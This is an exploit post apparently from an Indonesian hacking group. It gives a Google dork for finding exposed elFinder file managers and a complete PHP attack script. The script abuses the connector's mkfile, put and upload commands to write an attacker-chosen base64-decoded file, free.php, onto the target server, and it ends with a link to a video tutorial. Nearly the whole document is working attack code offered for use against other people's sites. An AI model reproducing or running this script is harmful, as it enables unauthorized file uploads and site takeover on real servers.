elFinder Web Hosting - Remote File

=================================================================
# Exploit Title     :   elFinder Web Hosting - Remote File
# Google Dork       :   inurl:/_file-manager/php
# Date              :   13 November 2016
# Exploit Author    :   Anonymous AAM1337
# Vendor Homepage   :   https://studio-42.github.io/elFinder/
# Tested on         :   Windows 7 & Windows 10
=====================[ Description ]=============================
If you use a Windows operating system, you must install xampp.
$ Exploit websites  :   /_file-manager/php/connector.php
$ vulnerability     :   {"error":["errUnknownCmd"]}
=================================================================
<?php
// Anonymous AAM1337 - Anonymous Indonesia.

error_reporting(0);
if($argv[1]==""){
    echo "\nUsage : php xploit.php www.website.host/_file-manager/php/connector.php\n\n";
}
else{
$target = $argv[1]; // https://www.websites.host/_file-manager/php/connector.php
$nama_doang = "free.php"; // The filename after successfully.

$isi_nama_doang = "Q2hhbmdlIHRoaXMgc2VjdGlvbiBpbnRvIGJhc2U2NCBzY3JpcHQ="; // Your base64 script.


$decode_isi = base64_decode($isi_nama_doang);
$encode = base64_encode($nama_doang);

$fp = fopen($nama_doang,"w");
fputs($fp, $decode_isi);

function ngirim($url, $isi){

$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $isi);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);
return $data3;

}
echo "\n# $target\n# Uploading 1...\n";
$url_mkfile = "$target?cmd=mkfile&name=$nama_doang&target=l1_Lw";
$b = file_get_contents("$url_mkfile");

 $post1 = array(
                    "cmd" => "put",
                    "target" => "l1_$encode",
                    "content" => "$decode_isi",

                    );
 $post2 = array(

                    "current" => "8ea8853cb93f2f9781e0bf6e857015ea",
                    "upload[]" => "@$nama_doang",

                    );

$output_mkfile = ngirim("$target", $post1);
if(preg_match("/$nama_doang/", $output_mkfile)){
    echo "# Upload Success 1...\n$ File successfully uploaded, Your file locations homepage.\n$ File name : $nama_doang\n";
}
else{

echo "# Upload Failed 1 \n# Uploading 2..\n";
$upload_ah = ngirim("$target?cmd=upload", $post2);
if(preg_match("/$nama_doang/", $upload_ah)){
    echo "# Upload Success 2\n$ File successfully uploaded, Your file locations homepage.\n$ File name : $nama_doang\n";
}
else{
    echo "# Upload Failed 2\n\n";
}
}
}

?>

Tutorial on YouTube : https://www.youtube.com/watch?v=6fwXtoG3-K0

Anonymous AAM1337 - aam1337.blogspot.com
Indonesian Freedom Security, and membership.